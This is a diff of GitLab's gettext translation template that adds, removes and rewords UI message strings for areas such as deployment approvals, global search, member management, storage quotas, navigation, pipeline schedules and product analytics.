msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13846,6 +14029,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13930,6 +14119,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14200,7 +14395,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14425,6 +14620,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14920,6 +15118,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16117,10 +16318,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16129,9 +16327,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16630,9 +16825,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16666,9 +16858,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16990,9 +17179,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17419,9 +17605,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17740,16 +17923,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17848,6 +18028,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18508,9 +18691,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18925,6 +19105,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18937,6 +19120,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18961,6 +19150,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18979,6 +19171,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18991,9 +19186,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19318,6 +19519,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19480,7 +19687,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19963,9 +20170,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20020,6 +20233,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20029,6 +20245,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20038,6 +20260,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20155,6 +20380,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20470,6 +20698,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20884,9 +21118,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20908,6 +21139,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21130,12 +21364,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22195,7 +22441,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22258,9 +22504,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22411,6 +22666,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23614,6 +23872,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23662,6 +23923,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23806,9 +24070,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24124,9 +24385,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24289,9 +24547,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24424,6 +24679,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24493,9 +24751,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25255,6 +25510,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25270,9 +25528,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25372,6 +25627,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25441,9 +25699,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25456,9 +25711,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25798,6 +26050,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25837,6 +26092,9 @@ msgstr[2] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25846,6 +26104,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25867,10 +26140,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25879,9 +26152,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25909,6 +26188,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25936,6 +26218,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26221,10 +26509,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26284,6 +26575,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26713,6 +27007,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27109,6 +27409,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27133,6 +27436,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27142,6 +27448,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27166,24 +27475,36 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27277,6 +27598,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27406,9 +27748,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27724,9 +28063,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27904,6 +28240,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28444,13 +28795,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28501,6 +28846,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28930,6 +29287,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29095,6 +29455,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29521,12 +29884,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29686,9 +30043,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29833,12 +30187,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30370,7 +30718,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30385,6 +30733,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30397,6 +30748,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30424,6 +30778,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30442,6 +30802,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31396,9 +31759,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31456,6 +31816,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31483,7 +31846,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31498,9 +31864,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31612,6 +31975,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31624,27 +31990,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
